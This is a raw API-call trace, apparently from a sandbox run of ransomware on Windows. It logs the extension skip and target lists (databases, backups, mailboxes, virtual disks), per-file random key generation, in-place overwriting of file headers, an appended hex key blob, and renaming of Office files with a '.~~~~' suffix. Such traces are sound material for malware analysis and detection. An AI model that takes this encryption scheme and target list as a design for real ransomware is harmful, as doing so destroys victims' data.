	[0139.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0139.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0139.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825f60
	[0139.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0139.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825f60 | out: hHeap=0x300000) returned 1
	[0139.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0139.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0139.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399b00
	[0139.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0139.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0139.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399b00 | out: hHeap=0x300000) returned 1
	[0139.733] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0139.733] GetLastError () returned 0x0
	[0139.733] GetLastError () returned 0x0
	[0139.733] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0139.733] GetLastError () returned 0x0
	[0139.734] GetLastError () returned 0x0
	[0139.734] ReadFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.848] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.848] WriteFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0139.863] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.863] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0139.863] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0139.863] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0139.863] CloseHandle (hObject=0xc4) returned 1
	[0139.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x399470
	[0139.864] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme36.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme36.css.~~~~")) returned 1
	[0139.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399470 | out: hHeap=0x300000) returned 1
	[0139.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0139.869] GetLastError () returned 0x0
	[0139.869] RtlWakeConditionVariable () returned 0x0
	[0139.869] GetCurrentThreadId () returned 0x9f4
	[0139.869] GetCurrentThreadId () returned 0x9f4
	[0139.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ceab8
	[0139.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399128 | out: hHeap=0x300000) returned 1
	[0139.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d7d8 | out: hHeap=0x300000) returned 1
	[0139.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x399128
	[0139.869] lstrlenW (lpString=".scr") returned 4
	[0139.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".scr") returned 0x0
	[0139.870] lstrlenW (lpString=".cmd") returned 4
	[0139.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".cmd") returned 0x0
	[0139.870] lstrlenW (lpString=".dll") returned 4
	[0139.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".dll") returned 0x0
	[0139.870] lstrlenW (lpString=".bat") returned 4
	[0139.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".bat") returned 0x0
	[0139.870] lstrlenW (lpString=".cpl") returned 4
	[0139.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".cpl") returned 0x0
	[0139.870] lstrlenW (lpString=".sys") returned 4
	[0139.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".sys") returned 0x0
	[0139.870] lstrlenW (lpString=".msc") returned 4
	[0139.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".msc") returned 0x0
	[0139.870] lstrlenW (lpString=".com") returned 4
	[0139.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".com") returned 0x0
	[0139.870] lstrlenW (lpString=".lnk") returned 4
	[0139.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".lnk") returned 0x0
	[0139.870] lstrlenW (lpString=".msp") returned 4
	[0139.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".msp") returned 0x0
	[0139.870] lstrlenW (lpString=".pif") returned 4
	[0139.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".pif") returned 0x0
	[0139.870] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0139.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0139.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme43.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0139.983] lstrlenW (lpString=".sqb") returned 4
	[0139.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".sqb") returned 0x0
	[0139.983] lstrlenW (lpString=".ost") returned 4
	[0139.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".ost") returned 0x0
	[0139.984] lstrlenW (lpString=".txt") returned 4
	[0139.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".txt") returned 0x0
	[0139.984] lstrlenW (lpString=".mdt") returned 4
	[0139.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".mdt") returned 0x0
	[0139.984] lstrlenW (lpString=".BDB") returned 4
	[0139.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".BDB") returned 0x0
	[0139.984] lstrlenW (lpString=".eql") returned 4
	[0139.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".eql") returned 0x0
	[0139.984] lstrlenW (lpString=".DBF") returned 4
	[0139.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".DBF") returned 0x0
	[0139.984] lstrlenW (lpString=".EQL") returned 4
	[0139.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".EQL") returned 0x0
	[0139.984] lstrlenW (lpString=".FDB") returned 4
	[0139.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".FDB") returned 0x0
	[0139.984] lstrlenW (lpString=".EDB") returned 4
	[0139.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".EDB") returned 0x0
	[0139.984] lstrlenW (lpString=".DACPAC") returned 7
	[0139.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".DACPAC") returned 0x0
	[0139.984] lstrlenW (lpString=".VHD") returned 4
	[0139.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".VHD") returned 0x0
	[0139.984] lstrlenW (lpString=".DBV") returned 4
	[0139.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".DBV") returned 0x0
	[0139.984] lstrlenW (lpString=".dacpac") returned 7
	[0139.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".dacpac") returned 0x0
	[0139.984] lstrlenW (lpString=".sdf") returned 4
	[0139.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".sdf") returned 0x0
	[0139.984] lstrlenW (lpString=".accdb") returned 6
	[0139.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".accdb") returned 0x0
	[0139.985] lstrlenW (lpString=".DBX") returned 4
	[0139.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".DBX") returned 0x0
	[0139.985] lstrlenW (lpString=".MDT") returned 4
	[0139.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".MDT") returned 0x0
	[0139.985] lstrlenW (lpString=".SQB") returned 4
	[0139.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".SQB") returned 0x0
	[0139.985] lstrlenW (lpString=".vhd") returned 4
	[0139.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".vhd") returned 0x0
	[0139.985] lstrlenW (lpString=".bac") returned 4
	[0139.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".bac") returned 0x0
	[0139.985] lstrlenW (lpString=".mdf") returned 4
	[0139.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".mdf") returned 0x0
	[0139.985] lstrlenW (lpString=".BAK") returned 4
	[0139.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".BAK") returned 0x0
	[0139.985] lstrlenW (lpString=".BAC") returned 4
	[0139.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".BAC") returned 0x0
	[0139.985] lstrlenW (lpString=".dbs") returned 4
	[0139.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".dbs") returned 0x0
	[0139.985] lstrlenW (lpString=".vhdx") returned 5
	[0139.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".vhdx") returned 0x0
	[0139.985] lstrlenW (lpString=".NDF") returned 4
	[0139.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".NDF") returned 0x0
	[0139.985] lstrlenW (lpString=".dat") returned 4
	[0139.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".dat") returned 0x0
	[0139.985] lstrlenW (lpString=".DBS") returned 4
	[0139.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".DBS") returned 0x0
	[0139.986] lstrlenW (lpString=".CKP") returned 4
	[0139.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".CKP") returned 0x0
	[0139.986] lstrlenW (lpString=".edb") returned 4
	[0139.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".edb") returned 0x0
	[0139.986] lstrlenW (lpString=".PST") returned 4
	[0139.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".PST") returned 0x0
	[0139.986] lstrlenW (lpString=".dbf") returned 4
	[0139.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".dbf") returned 0x0
	[0139.986] lstrlenW (lpString=".SQL") returned 4
	[0139.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".SQL") returned 0x0
	[0139.986] lstrlenW (lpString=".pst") returned 4
	[0139.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".pst") returned 0x0
	[0139.986] lstrlenW (lpString=".dbv") returned 4
	[0139.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".dbv") returned 0x0
	[0139.986] lstrlenW (lpString=".SDF") returned 4
	[0139.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".SDF") returned 0x0
	[0139.986] lstrlenW (lpString=".dtxs") returned 5
	[0139.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".dtxs") returned 0x0
	[0139.986] lstrlenW (lpString=".db3") returned 4
	[0139.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".db3") returned 0x0
	[0139.986] lstrlenW (lpString=".OST") returned 4
	[0139.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".OST") returned 0x0
	[0139.986] lstrlenW (lpString=".dbx") returned 4
	[0139.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".dbx") returned 0x0
	[0139.986] lstrlenW (lpString=".DB3") returned 4
	[0139.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".DB3") returned 0x0
	[0139.986] lstrlenW (lpString=".DAT") returned 4
	[0139.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".DAT") returned 0x0
	[0139.987] lstrlenW (lpString=".VHDX") returned 5
	[0139.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".VHDX") returned 0x0
	[0139.987] lstrlenW (lpString=".ndf") returned 4
	[0139.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".ndf") returned 0x0
	[0139.987] lstrlenW (lpString=".DB") returned 3
	[0139.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".DB") returned 0x0
	[0139.987] lstrlenW (lpString=".sql") returned 4
	[0139.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".sql") returned 0x0
	[0139.987] lstrlenW (lpString=".MYD") returned 4
	[0139.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".MYD") returned 0x0
	[0139.987] lstrlenW (lpString=".DBT") returned 4
	[0139.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".DBT") returned 0x0
	[0139.987] lstrlenW (lpString=".ACCDB") returned 6
	[0139.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".ACCDB") returned 0x0
	[0139.987] lstrlenW (lpString=".fdb") returned 4
	[0139.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".fdb") returned 0x0
	[0139.987] lstrlenW (lpString=".bak") returned 4
	[0139.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".bak") returned 0x0
	[0139.987] lstrlenW (lpString=".myd") returned 4
	[0139.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".myd") returned 0x0
	[0139.987] lstrlenW (lpString=".DTXS") returned 5
	[0139.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".DTXS") returned 0x0
	[0139.987] lstrlenW (lpString=".ckp") returned 4
	[0139.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".ckp") returned 0x0
	[0139.988] lstrlenW (lpString=".dbt") returned 4
	[0139.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".dbt") returned 0x0
	[0139.988] lstrlenW (lpString=".db") returned 3
	[0139.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".db") returned 0x0
	[0139.988] lstrlenW (lpString=".TXT") returned 4
	[0139.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".TXT") returned 0x0
	[0139.988] lstrlenW (lpString=".MDF") returned 4
	[0139.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".MDF") returned 0x0
	[0139.988] lstrlenW (lpString=".bdb") returned 4
	[0139.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".bdb") returned 0x0
	[0139.988] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0139.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0139.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0139.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0139.988] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0139.990] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0139.990] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0139.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0139.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0139.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0139.990] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25998033532) returned 1
	[0139.990] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbcdbaf90, dwHighDateTime=0x1d60e1e)) 
	[0139.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0139.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0139.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0139.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d6c0
	[0139.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0139.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d6c0 | out: hHeap=0x300000) returned 1
	[0139.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0139.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0139.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e490
	[0139.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0139.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0139.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e490 | out: hHeap=0x300000) returned 1
	[0139.991] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0139.991] GetLastError () returned 0x0
	[0139.992] GetLastError () returned 0x0
	[0139.992] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0139.992] GetLastError () returned 0x0
	[0139.992] GetLastError () returned 0x0
	[0139.992] ReadFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.025] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.025] WriteFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0140.025] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.025] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.065] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.066] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.066] CloseHandle (hObject=0xc4) returned 1
	[0140.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e538
